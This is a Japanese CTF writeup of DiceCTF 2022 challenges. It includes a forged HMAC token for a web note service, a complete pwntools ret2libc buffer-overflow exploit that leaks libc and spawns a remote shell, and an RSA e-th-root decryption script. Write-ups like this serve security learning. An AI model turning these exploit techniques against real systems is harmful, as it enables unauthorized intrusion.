この大会は2022/2/5 6:00(JST)~2022/2/7 6:00(JST)に開催されました。
今回もチームで参戦。結果は460点で1127チーム中119位でした。
自分で解けた問題をWriteupとして書いておきます。
welcome (misc)
Discordに入り、#flagチャネルを見ると、defundがフラグをひたすらつぶやいている。
dice{sice}
knock-knock (web)
例えば、"a"をcreateしてみると、作成したページに以下のURLでアクセスできる。
https://knock-knock.mc.ax/note?id=2476&token=d66e76a2148e0f78937e553e58cb6292054cae0916f7b6f21d01631493f48dae
スクリプトをよく見ると、secretの設定にバグがある。
this.secret = `secret-${crypto.randomUUID}`;
randomUUIDは関数なので、この設定だと固定値になる。DBを設定して、最初にフラグを設定しているので、id = 0のときにフラグが設定されている。
以下のスクリプトによりidが0のときのtokenを計算する。
$ cat solve.js const crypto = require('crypto'); var id = 0; var secret = `secret-${crypto.randomUUID}`; var hmac = crypto.createHmac('sha256', secret); hmac.update(id.toString()) console.log(hmac.digest('hex')); $ node solve.js 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
このtokenでアクセスする。
$ curl "https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264" dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
interview-opportunity (pwn)
$ file interview-opportunity interview-opportunity: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdee9690f9ec56b0863f7cfe1d55b8f5a3073c40, for GNU/Linux 3.2.0, not stripped $ checksec.sh --file interview-opportunity RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH interview-opportunity
Ghidraでデコンパイルする。
undefined8 main(undefined4 param_1,undefined8 param_2) { char local_22 [10]; undefined8 local_18; undefined4 local_c; local_18 = param_2; local_c = param_1; env_setup(); printf( "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.\n" ); printf("So tell us. Why should you join DiceGang?\n"); read(0,local_22,0x46); puts("Hello: "); puts(local_22); return 0; }
$ gdb -q ./interview-opportunity Reading symbols from ./interview-opportunity...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/interview-opportunity Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue. So tell us. Why should you join DiceGang? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Hello: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7af2224 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7dcf8c0 --> 0x0 RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a RDI: 0x1 RBP: 0x2941413b41414441 ('ADAA;AA)') RSP: 0x7fffffffdd68 ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3") RIP: 0x4012a5 (<main+101>: ret) R8 : 0x46 ('F') R9 : 0x7ffff7fda4c0 (0x00007ffff7fda4c0) R10: 0x3 R11: 0x246 R12: 0x4010a0 (<_start>: endbr64) R13: 0x7fffffffde40 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40129e <main+94>: xor eax,eax 0x4012a0 <main+96>: add rsp,0x20 0x4012a4 <main+100>: pop rbp => 0x4012a5 <main+101>: ret 0x4012a6: nop WORD PTR cs:[rax+rax*1+0x0] 0x4012b0 <__libc_csu_init>: endbr64 0x4012b4 <__libc_csu_init+4>: push r15 0x4012b6 <__libc_csu_init+6>: lea r15,[rip+0x2b53] # 0x403e10 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd68 ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3") 0008| 0x7fffffffdd70 ("0AAFAAbAA1AAGAAcAA2AAHAAdAA3") 0016| 0x7fffffffdd78 ("A1AAGAAcAA2AAHAAdAA3") 0024| 0x7fffffffdd80 ("AA2AAHAAdAA3") 0032| 0x7fffffffdd88 --> 0x33414164 ('dAA3') 0040| 0x7fffffffdd90 --> 0x0 0048| 0x7fffffffdd98 --> 0x728d7a5f7ac26a34 0056| 0x7fffffffdda0 --> 0x4010a0 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004012a5 in main () gdb-peda$ patto AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3 AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3 found at offset: 34
$ ROPgadget --binary ./interview-opportunity | grep "pop rdi" 0x0000000000401313 : pop rdi ; ret
BOFの脆弱性がある。GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でsystem("/bin/sh")を実行する。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('mc.ax', 31081) else: p = process('./interview-opportunity') elf = ELF('./interview-opportunity') libc = ELF('./libc.so.6') pop_rdi_addr = 0x401313 puts_got_addr = elf.got['puts'] puts_plt_addr = elf.plt['puts'] main_addr = elf.symbols['main'] payload = b'A' * 34 payload += p64(pop_rdi_addr) payload += p64(puts_got_addr) payload += p64(puts_plt_addr) payload += p64(main_addr) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) data = p.recv(7).rstrip() print(data) leaked_puts_got = u64(data + b'\x00\x00') log.info('leaked puts got address: ' + hex(leaked_puts_got)) libc_base = leaked_puts_got - libc.symbols['puts'] log.info('libc base address: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.info('system address: ' + hex(system_addr)) binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.info('/bin/sh address: ' + hex(binsh_addr)) payload = b'A' * 34 payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to mc.ax on port 31081: Done [*] '/ctf/pwn/interview-opportunity' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/ctf/pwn/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue. So tell us. Why should you join DiceGang? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x13@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x000\x10@\x00\x00\x00\x00\x00@\x12@\x00\x00\x00\x00\x00' Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@ b'\xf0\xc5\xa2*\xc6\x7f' [*] leaked puts got address: 0x7fc62aa2c5f0 [*] libc base address: 0x7fc62a9b6000 [*] system address: 0x7fc62a9fee50 [*] /bin/sh address: 0x7fc62ab40152 Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue. So tell us. Why should you join DiceGang? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x13@\x00\x00\x00\x00\x00R\x01\xb4*\xc6\x7f\x00\x00P\xee\x9f*\xc6\x7f\x00\x00' Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@ [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
baby-rsa (crypto)
Nを素因数分解する。
p = 172036442175296373253148927105725488217 q = 337117592532677714973555912658569668821
p-1, q-1がe**2で割り切れるので、通常の方法では復号できない。剰余環p, qそれぞれでe乗根を計算し、ブルートフォースでCRTを使って復号し、フラグの形式になるものを探す。
#!/usr/bin/env sage from Crypto.Util.number import * N = 57996511214023134147551927572747727074259762800050285360155793732008227782157 e = 17 cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971 p = 172036442175296373253148927105725488217 q = 337117592532677714973555912658569668821 mod_ps = Mod(cipher % p, p).nth_root(e, all=True) mod_qs = Mod(cipher % q, q).nth_root(e, all=True) found = False for mod_p in mod_ps: for mod_q in mod_qs: m = crt(int(mod_p), int(mod_q), p, q) flag = long_to_bytes(m) if b"dice" in flag: found = True print(flag.decode()) break if found: break
dice{cado-and-sage-say-hello}